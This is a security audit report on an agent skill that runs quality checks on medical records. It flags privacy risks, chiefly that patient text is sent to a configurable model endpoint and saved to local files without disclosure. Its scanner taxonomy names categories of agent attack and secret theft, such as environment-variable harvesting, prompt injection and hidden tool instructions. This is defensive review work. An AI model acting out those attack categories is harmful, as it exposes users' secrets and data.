Security audit

unisound-chief-complaint-hpi-inconsistent

Security checks across malware telemetry and agentic risk

Overview

The skill appears to perform the advertised medical-record QC task, but it needs review because sensitive record text is sent to a configurable model service and can be saved locally despite a no-persistence privacy claim.

Install only if you are prepared to use de-identified records, an approved model endpoint, and controlled local output paths. Avoid --save-prepared unless you explicitly need the debug artifact, and treat both the output files and the supplied app key as sensitive.

SkillSpector

By NVIDIA

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands

Findings (7)

Lp3

Medium

Category: MCP Least Privilege
Confidence: 95% confidence
Finding: The skill documentation describes capabilities to read input files, write output files, and send medical record content to an external/internal network API, but it declares no corresponding permissions or trust boundaries. In a medical-record-processing skill, this matters because sensitive clinical text may be transmitted off-host or written to disk without explicit permission disclosure, reducing reviewability and increasing the risk of privacy and data-governance violations.

Description-Behavior Mismatch

Medium

Confidence: 89% confidence
Finding: The skill description says it takes EMR text and outputs a QC judgment, but the implementation also persists the result to disk by default. This creates an unexpected side effect that can leak sensitive medical inferences to local storage, especially in shared runners or multi-tenant environments where users may not expect any file artifacts.

Context-Inappropriate Capability

Medium

Confidence: 84% confidence
Finding: The code can read arbitrary local files from a caller-supplied path, which exceeds the stated scope of processing provided EMR text. In an agent setting, this broad file access can be abused to read unrelated local data, and the fallback path logic further expands the accessible file surface.

Description-Behavior Mismatch

Medium

Confidence: 97% confidence
Finding: When --save-prepared is used, the script writes preprocessed medical-record text to disk, which can expose sensitive patient data in plaintext files. In a healthcare context this is materially risky because debug artifacts may persist, be copied to shared storage, or be accessible to unauthorized users.

Missing User Warnings

High

Confidence: 97% confidence
Finding: The skill sends chief complaint and HPI content from medical records to an external LLM endpoint, which is highly sensitive health data. Without explicit disclosure, consent, or data handling controls, this can violate privacy expectations, regulatory requirements, and organizational data governance policies.

Missing User Warnings

Medium

Confidence: 96% confidence
Finding: This path allows patient record content to be written locally without any explicit privacy notice or safeguards. Because the data is medical in nature, even optional debug output can create compliance and confidentiality issues if operators are unaware that PHI/PII is being stored.

Missing User Warnings

Medium

Confidence: 98% confidence
Finding: The script transmits outpatient medical-record text to a model service identified by a configurable base URL, but does not provide an explicit disclosure, trust boundary warning, or data-handling constraints. In this context, sending PHI to an external or misconfigured endpoint can cause serious confidentiality, compliance, and data-governance violations.

VirusTotal

65/65 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

No suspicious patterns detected.